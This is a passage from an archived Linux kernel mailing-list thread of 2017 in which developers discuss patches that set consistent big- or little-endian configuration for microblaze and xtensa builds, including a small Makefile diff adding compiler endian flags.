+       bool "Little endian"
+
+endchoice
+
  config SWAP
         def_bool n



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.sparc
Subject: Re: [PATCH 2/2] include: warn for inconsistent endian config definition
Date: Mon, 12 Jun 2017 22:51:23 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <CAK8P3a24DZ26uQDMJMd-e7WKuM66rPnidaqQHQ4sEhPfQz2xJw@mail.gmail.com>
References: <201706102219.7auwXKYx%fengguang.wu@intel.com> <002f7627-1ce5-eabb-967d-fe93a3660f03@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1497300689 6489 195.159.176.226 (12 Jun 2017 20:51:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 12 Jun 2017 20:51:29 +0000 (UTC)
Cc: kbuild test robot <lkp@intel.com>, kbuild-all@01.org,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        David Miller <davem@davemloft.net>,
        Al Viro <viro@zeniv.linux.org.uk>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Peter Zijlstra <peterz@infradead.org>,
        Ingo Molnar <mingo@redhat.com>,
        Max Filippov <jcmvbkbc@gmail.com>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        "moderated list:H8/300 ARCHITECTURE" 
        <uclinux-h8-devel@lists.sourceforge.jp>,
        linux-m68k@vger.kernel.org, openrisc@lists.librecores.org,
To: Babu Moger <babu.moger@oracle.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 12 22:51:22 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dKWIz-0007pi-HC
	for glpp-linux-parisc@m.gmane.org; Mon, 12 Jun 2017 22:51:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752558AbdFLUv0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 12 Jun 2017 16:51:26 -0400
Original-Received: from mail-ot0-f196.google.com ([74.125.82.196]:34110 "EHLO
        mail-ot0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752065AbdFLUvZ (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 12 Jun 2017 16:51:25 -0400
Original-Received: by mail-ot0-f196.google.com with SMTP id a2so12011054oth.1;
        Mon, 12 Jun 2017 13:51:24 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=/HFoQXkA6fG/CLG0hSQAB79V5qanKNODbBZh4hI0Ayc=;
        b=WJ+IFIfUXbBMCc5LscarUV62yNlP/2Ypp7xW6cEZK9x0pf5RKxe8tlvDs1TUKMkeVz
         0YUo2vhHp4vAvVf2jlrLDWCB7zM8sWOCxBVxgUfBn7raUI3d6fDpgGEYRp+x67ygiUgM
         V2UPRG89vOBD/CZUCK/ZyLe/MRMWjf7lrbeqZgT/Jjt98Egq+01V95RtmyLiHehl2v5D
         k1hFZmDc0cv/M/OgoonNWNA2Qya+7iX/5QVYI02PVk+4mnciA0vL0RHeL4/7NVrnK5c8
         qHFxdmIkbMaLUprIFwLxGDDR3tb7YhcYffQVC2vHNi1ctXoH7FdlpUFikMffD26lboGl
         zCLw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=/HFoQXkA6fG/CLG0hSQAB79V5qanKNODbBZh4hI0Ayc=;
        b=ZYdVg6GwuegOQ4ozYDwnGj4iyUM1CaetzjJ+cz/woJHobKqkA3xpQRlTPMKMRMvzKx
         HzTTjgafqR7ijElKyrixNelKt5h3gTQFHMq3995EgMQHnyAt8iqn8XUbyWDIbP/aA0wr
         4SyZ2KwsrqR+eUgclWoJZpZcQWs9WNMxUpu2uOf8799SPrqNns4oW2fFkZlKC+p3QE3l
         cVYALHmtePuYv9vFvCoWpr/sW1BsGTHfx1kZHCFCU03MQ0BkJFMfGK1P7i0yBdcq7i5B
         RIn4/dYN3cDlk+mwIahqjtJgHxwtWwMS3Srm0dJ6TqVNjGX/hKx15mTYdtrnNcvife8H
         Gi9g==
X-Gm-Message-State: AODbwcAGc2nD65m010ehQ/vy/Xi2lY/7oPXsfpzrh86pgiFAuYa4vRz5
        M5xYoKG66wKggSb3UzdV7S1H0ZTyNQ==
X-Received: by 10.157.17.219 with SMTP id y27mr32311106oty.137.1497300684282;
 Mon, 12 Jun 2017 13:51:24 -0700 (PDT)
Original-Received: by 10.157.51.139 with HTTP; Mon, 12 Jun 2017 13:51:23 -0700 (PDT)
In-Reply-To: <002f7627-1ce5-eabb-967d-fe93a3660f03@oracle.com>
X-Google-Sender-Auth: U8FK6cNSPBHuLgRJn7e9OzzpTz8
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27503 gmane.linux.kernel:2498781 gmane.linux.ports.m68k:9378 gmane.linux.ports.sparc:25537
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27503>

On Mon, Jun 12, 2017 at 10:30 PM, Babu Moger <babu.moger@oracle.com> wrote:
>
> Looks like microblaze can be configured to either little or big endian
> formats.  How about
> adding a choice statement to address this.
> Here is my proposed patch.

Hi Babu,

This part looks fine, but I think we also need this one:

diff --git a/arch/microblaze/Makefile b/arch/microblaze/Makefile
index 740f2b82a182..1f6c486826a0 100644
--- a/arch/microblaze/Makefile
+++ b/arch/microblaze/Makefile
@@ -35,6 +35,8 @@ endif
 CPUFLAGS-$(CONFIG_XILINX_MICROBLAZE0_USE_DIV) += -mno-xl-soft-div
 CPUFLAGS-$(CONFIG_XILINX_MICROBLAZE0_USE_BARREL) += -mxl-barrel-shift
 CPUFLAGS-$(CONFIG_XILINX_MICROBLAZE0_USE_PCMP_INSTR) += -mxl-pattern-compare
+CPUFLAGS-$(CONFIG_BIG_ENDIAN) += -mbig-endian
+CPUFLAGS-$(CONFIG_LITTLE_ENDIAN) += -mlittle-endian

 CPUFLAGS-1 += $(call cc-option,-mcpu=v$(CPU_VER))


That way, we don't have to guess what the toolchain does, but rather
tell it to do whatever is configured, like we do for most other architectures.

Unfortunately we can't do the same thing on xtensa, as that no longer
supports the -mbig-endian/-mbig-endian flags in any recent gcc version
(a long time ago it had them, but they were removed along with many other
options).

        Arnd
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Max Filippov <jcmvbkbc@gmail.com>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.parisc
Subject: Re: [PATCH 2/2] include: warn for inconsistent endian config definition
Date: Mon, 12 Jun 2017 13:58:07 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <CAMo8BfK46utS6hTjT2gVUtwQJg2ho77NOHoYPO0rDSVe4a3NJw@mail.gmail.com>
References: <201706102219.7auwXKYx%fengguang.wu@intel.com> <002f7627-1ce5-eabb-967d-fe93a3660f03@oracle.com>
 <CAK8P3a24DZ26uQDMJMd-e7WKuM66rPnidaqQHQ4sEhPfQz2xJw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1497301092 18891 195.159.176.226 (12 Jun 2017 20:58:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 12 Jun 2017 20:58:12 +0000 (UTC)
Cc: Babu Moger <babu.moger@oracle.com>,
        kbuild test robot <lkp@intel.com>, kbuild-all@01.org,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        David Miller <davem@davemloft.net>,
        Al Viro <viro@zeniv.linux.org.uk>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Peter Zijlstra <peterz@infradead.org>,
        Ingo Molnar <mingo@redhat.com>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        "moderated list:H8/300 ARCHITECTURE" 
        <uclinux-h8-devel@lists.sourceforge.jp>,
        linux-m68k@vger.kernel.org, openrisc@lists.librecores.org,
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: sparclinux-owner@vger.kernel.org Mon Jun 12 22:58:06 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1dKWPV-0002eV-0r
	for lnx-sparclinux@m.gmane.org; Mon, 12 Jun 2017 22:58:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752470AbdFLU6K (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Mon, 12 Jun 2017 16:58:10 -0400
Original-Received: from mail-yw0-f194.google.com ([209.85.161.194]:35943 "EHLO
        mail-yw0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752258AbdFLU6I (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Mon, 12 Jun 2017 16:58:08 -0400
Original-Received: by mail-yw0-f194.google.com with SMTP id s127so1580990ywg.3;
        Mon, 12 Jun 2017 13:58:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=8hQ/1mt7w0x7TUKCXbMwNqtLoigo/KOXztUsgm+F77E=;
        b=BO3X7+0BVYX3yAFHOdbqJ9RDzOTC25/S6CfjrUxidgBerTnQYTBRfumKQPtJcjEm1l
         KRZX8WU/7IOsR4bg6RUJ7l2pJgN1G4jlZD07DvQ3MqkqqgeOQeiuH6/55MJH3hJwV6Nv
         N9cVGzLV752kkQCFEi3Uzi8OFZxt7wXIl46qQk1LiRO/HsGZdZmi5WouebU24N0DmpLd
         /M7+7qj6Pwfph+3ZakRyE0B3yZzIuuAQ+/7v+mxkMxBPfuC6ZCnkxGBSSXHHho3x9UJA
         X5BpN7D1rkvhk0f0L2I67iTx3v3kN/wbOYH8S6OKwDQXs22Ht3mGPhz5K68NCxC/4bDI
         VTtA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=8hQ/1mt7w0x7TUKCXbMwNqtLoigo/KOXztUsgm+F77E=;
        b=rmRi0IOwhW1JXKBww4NNOfMFPJfmdpDbzv982zEg/y7gcS0yJFc/Omn33c4tnr/pB1
         yKZMFjfrm+Xq6cjoF5/N/GnNlniEI8wtCzH/3MGyiQSS9VZzlIqSSNfEedNQxb/NByc3
         yuy35UgXJ62UOxfzGxwHHSB6kkhX+ff06oKxe786Pc4e3dpvYNVia24nYTwTvXUsUYfA
         5ZZR0PFAkwqLwn5I5dxKWCW1BcuAMTUgxRcDxnd3+b+ORI6BQmysQ+Lchpv/LMjRA5sm
         bTotwZwVyTsKMrwZRkaBX5VKPobJo+aetBgP3XR2EdTqQCJk1Jxv9nz3dkSZ4QrVmcqd
         Vu+Q==
X-Gm-Message-State: AKS2vOxO2cTqDGYTdLeR4Y71wZTlHsHK3B0zUO/C/gSc/dcpVzQY/MS2
        2vw7erZ3LFRRXO8B3YRcK9hZIW54Ag==
X-Received: by 10.129.46.135 with SMTP id u129mr777458ywu.182.1497301087669;
 Mon, 12 Jun 2017 13:58:07 -0700 (PDT)
Original-Received: by 10.37.207.14 with HTTP; Mon, 12 Jun 2017 13:58:07 -0700 (PDT)
In-Reply-To: <CAK8P3a24DZ26uQDMJMd-e7WKuM66rPnidaqQHQ4sEhPfQz2xJw@mail.gmail.com>
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:25538 gmane.linux.kernel:2498786 gmane.linux.ports.m68k:9379 gmane.linux.ports.parisc:27504
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/25538>

On Mon, Jun 12, 2017 at 1:51 PM, Arnd Bergmann <arnd@arndb.de> wrote:
> That way, we don't have to guess what the toolchain does, but rather
> tell it to do whatever is configured, like we do for most other architectures.
>
> Unfortunately we can't do the same thing on xtensa, as that no longer
> supports the -mbig-endian/-mbig-endian flags in any recent gcc version
> (a long time ago it had them, but they were removed along with many other
> options).

For xtensa we probably need to generate Kconfig fragment that would go
in with the variant subdirectory. That will solve this, and clean up other
options that we currently have for manual selection for xtensa, but there's
actually no choice, i.e. the option has to be selected correctly, there's only
one correct choice and otherwise the kernel either won't build or won't work.
I'll look into it.

-- 
Thanks.
-- Max
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Babu Moger <babu.moger@oracle.com>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.parisc
Subject: Re: [PATCH 2/2] include: warn for inconsistent endian config
 definition
Date: Mon, 12 Jun 2017 16:24:54 -0500
Organization: Oracle Corporation
Lines: 43
Approved: news@gmane.org
Message-ID: <e1560578-79ea-09a8-5b88-95aa907c4cce@oracle.com>
References: <201706102219.7auwXKYx%fengguang.wu@intel.com>
 <002f7627-1ce5-eabb-967d-fe93a3660f03@oracle.com>
 <CAK8P3a24DZ26uQDMJMd-e7WKuM66rPnidaqQHQ4sEhPfQz2xJw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1497302788 26181 195.159.176.226 (12 Jun 2017 21:26:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 12 Jun 2017 21:26:28 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.1.1
Cc: kbuild test robot <lkp@intel.com>, kbuild-all@01.org,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        David Miller <davem@davemloft.net>,
        Al Viro <viro@zeniv.linux.org.uk>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Peter Zijlstra <peterz@infradead.org>,
        Ingo Molnar <mingo@redhat.com>,
        Max Filippov <jcmvbkbc@gmail.com>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        "moderated list:H8/300 ARCHITECTURE" 
        <uclinux-h8-devel@lists.sourceforge.jp>,
        linux-m68k@vger.kernel.org, openrisc@lists.librecores.org,
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: sparclinux-owner@vger.kernel.org Mon Jun 12 23:26:22 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1dKWqo-0005QP-0z
	for lnx-sparclinux@m.gmane.org; Mon, 12 Jun 2017 23:26:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752785AbdFLV0X (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Mon, 12 Jun 2017 17:26:23 -0400
Original-Received: from aserp1040.oracle.com ([141.146.126.69]:40450 "EHLO
        aserp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752743AbdFLV0W (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Mon, 12 Jun 2017 17:26:22 -0400
Original-Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234])
        by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v5CLP8ta011209
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Mon, 12 Jun 2017 21:25:08 GMT
Original-Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72])
        by aserv0022.oracle.com (8.14.4/8.14.4) with ESMTP id v5CLP7b3025056
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Mon, 12 Jun 2017 21:25:07 GMT
Original-Received: from abhmp0004.oracle.com (abhmp0004.oracle.com [141.146.116.10])
        by userv0121.oracle.com (8.14.4/8.13.8) with ESMTP id v5CLP05X020226;
        Mon, 12 Jun 2017 21:25:00 GMT
Original-Received: from [10.135.190.130] (/10.135.190.130)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Mon, 12 Jun 2017 14:24:59 -0700
In-Reply-To: <CAK8P3a24DZ26uQDMJMd-e7WKuM66rPnidaqQHQ4sEhPfQz2xJw@mail.gmail.com>
Content-Language: en-US
X-Source-IP: aserv0022.oracle.com [141.146.126.234]
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:25539 gmane.linux.kernel:2498808 gmane.linux.ports.m68k:9380 gmane.linux.ports.parisc:27505
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/25539>


On 6/12/2017 3:51 PM, Arnd Bergmann wrote:
> On Mon, Jun 12, 2017 at 10:30 PM, Babu Moger <babu.moger@oracle.com> wrote:
>> Looks like microblaze can be configured to either little or big endian
>> formats.  How about
>> adding a choice statement to address this.
>> Here is my proposed patch.
> Hi Babu,
>
> This part looks fine, but I think we also need this one:
>
> diff --git a/arch/microblaze/Makefile b/arch/microblaze/Makefile
> index 740f2b82a182..1f6c486826a0 100644
> --- a/arch/microblaze/Makefile
> +++ b/arch/microblaze/Makefile
> @@ -35,6 +35,8 @@ endif
>   CPUFLAGS-$(CONFIG_XILINX_MICROBLAZE0_USE_DIV) += -mno-xl-soft-div
>   CPUFLAGS-$(CONFIG_XILINX_MICROBLAZE0_USE_BARREL) += -mxl-barrel-shift
>   CPUFLAGS-$(CONFIG_XILINX_MICROBLAZE0_USE_PCMP_INSTR) += -mxl-pattern-compare
> +CPUFLAGS-$(CONFIG_BIG_ENDIAN) += -mbig-endian
> +CPUFLAGS-$(CONFIG_LITTLE_ENDIAN) += -mlittle-endian
>
>   CPUFLAGS-1 += $(call cc-option,-mcpu=v$(CPU_VER))
>
>
> That way, we don't have to guess what the toolchain does, but rather
> tell it to do whatever is configured, like we do for most other architectures.

Ok. Thanks. Arnd. Will update and resend the series.

>
> Unfortunately we can't do the same thing on xtensa, as that no longer
> supports the -mbig-endian/-mbig-endian flags in any recent gcc version
> (a long time ago it had them, but they were removed along with many other
> options).
>
>          Arnd

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Babu Moger <babu.moger@oracle.com>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.parisc
Subject: Re: [PATCH 2/2] include: warn for inconsistent endian config
 definition
Date: Mon, 12 Jun 2017 16:31:12 -0500
Organization: Oracle Corporation
Lines: 24
Approved: news@gmane.org
Message-ID: <7b6059eb-2e8f-a1e9-a3da-59e10617af95@oracle.com>
References: <201706102219.7auwXKYx%fengguang.wu@intel.com>
 <002f7627-1ce5-eabb-967d-fe93a3660f03@oracle.com>
 <CAK8P3a24DZ26uQDMJMd-e7WKuM66rPnidaqQHQ4sEhPfQz2xJw@mail.gmail.com>
 <CAMo8BfK46utS6hTjT2gVUtwQJg2ho77NOHoYPO0rDSVe4a3NJw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1497303156 835 195.159.176.226 (12 Jun 2017 21:32:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 12 Jun 2017 21:32:36 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.1.1
Cc: kbuild test robot <lkp@intel.com>, kbuild-all@01.org,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        David Miller <davem@davemloft.net>,
        Al Viro <viro@zeniv.linux.org.uk>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Peter Zijlstra <peterz@infradead.org>,
        Ingo Molnar <mingo@redhat.com>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        "moderated list:H8/300 ARCHITECTURE" 
        <uclinux-h8-devel@lists.sourceforge.jp>,
        linux-m68k@vger.kernel.org, openrisc@lists.librecores.org,
        Parisc List <linux-parisc@vger.kernel.
To: Max Filippov <jcmvbkbc@gmail.com>, Arnd Bergmann <arnd@arndb.de>
Original-X-From: sparclinux-owner@vger.kernel.org Mon Jun 12 23:32:30 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1dKWwo-00075g-8t
	for lnx-sparclinux@m.gmane.org; Mon, 12 Jun 2017 23:32:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752400AbdFLVcf (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Mon, 12 Jun 2017 17:32:35 -0400
Original-Received: from userp1040.oracle.com ([156.151.31.81]:36611 "EHLO
        userp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752610AbdFLVcd (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Mon, 12 Jun 2017 17:32:33 -0400
Original-Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71])
        by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v5CLVJ2d014952
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Mon, 12 Jun 2017 21:31:21 GMT
Original-Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75])
        by userv0021.oracle.com (8.14.4/8.14.4) with ESMTP id v5CLVJJo003305
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Mon, 12 Jun 2017 21:31:19 GMT
Original-Received: from abhmp0001.oracle.com (abhmp0001.oracle.com [141.146.116.7])
        by userv0122.oracle.com (8.14.4/8.14.4) with ESMTP id v5CLVHkP002014;
        Mon, 12 Jun 2017 21:31:18 GMT
Original-Received: from [10.135.190.130] (/10.135.190.130)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Mon, 12 Jun 2017 14:31:17 -0700
In-Reply-To: <CAMo8BfK46utS6hTjT2gVUtwQJg2ho77NOHoYPO0rDSVe4a3NJw@mail.gmail.com>
Content-Language: en-US
X-Source-IP: userv0021.oracle.com [156.151.31.71]
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:25540 gmane.linux.kernel:2498814 gmane.linux.ports.m68k:9381 gmane.linux.ports.parisc:27506
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/25540>


On 6/12/2017 3:58 PM, Max Filippov wrote:
> On Mon, Jun 12, 2017 at 1:51 PM, Arnd Bergmann <arnd@arndb.de> wrote:
>> That way, we don't have to guess what the toolchain does, but rather
>> tell it to do whatever is configured, like we do for most other architectures.
>>
>> Unfortunately we can't do the same thing on xtensa, as that no longer
>> supports the -mbig-endian/-mbig-endian flags in any recent gcc version
>> (a long time ago it had them, but they were removed along with many other
>> options).
> For xtensa we probably need to generate Kconfig fragment that would go
> in with the variant subdirectory. That will solve this, and clean up other
> options that we currently have for manual selection for xtensa, but there's
> actually no choice, i.e. the option has to be selected correctly, there's only
> one correct choice and otherwise the kernel either won't build or won't work.
> I'll look into it.
Max. Thanks. Please update us when you are done.
>

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Babu Moger <babu.moger@oracle.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH v3 0/3] Define CPU_BIG_ENDIAN or warn for inconsistencies
Date: Mon, 12 Jun 2017 15:09:57 -0700
Lines: 50
Approved: news@gmane.org
Message-ID: <1497305400-147425-1-git-send-email-babu.moger@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1497305487 5267 195.159.176.226 (12 Jun 2017 22:11:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 12 Jun 2017 22:11:27 +0000 (UTC)
Cc: mpe@ellerman.id.au, peterz@infradead.org, mingo@redhat.com,
        jcmvbkbc@gmail.com, linux-kernel@vger.kernel.org,
        uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@vger.kernel.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        sparclinux@vger.kernel.org
To: ysato@users.sourceforge.jp, geert@linux-m68k.org,
        jonas@southpole.se, stefan.kristiansson@saunalahti.fi,
        shorne@gmail.com, jejb@parisc-linux.org, deller@gmx.de,
        davem@davemloft.net, viro@zeniv.linux.org.uk, monstr@monstr.eu
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Jun 13 00:11:20 2017
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1dKXYO-000125-21
	for glpm-linux-m68k@m.gmane.org; Tue, 13 Jun 2017 00:11:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752630AbdFLWLZ (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Mon, 12 Jun 2017 18:11:25 -0400
Original-Received: from userp1040.oracle.com ([156.151.31.81]:50934 "EHLO
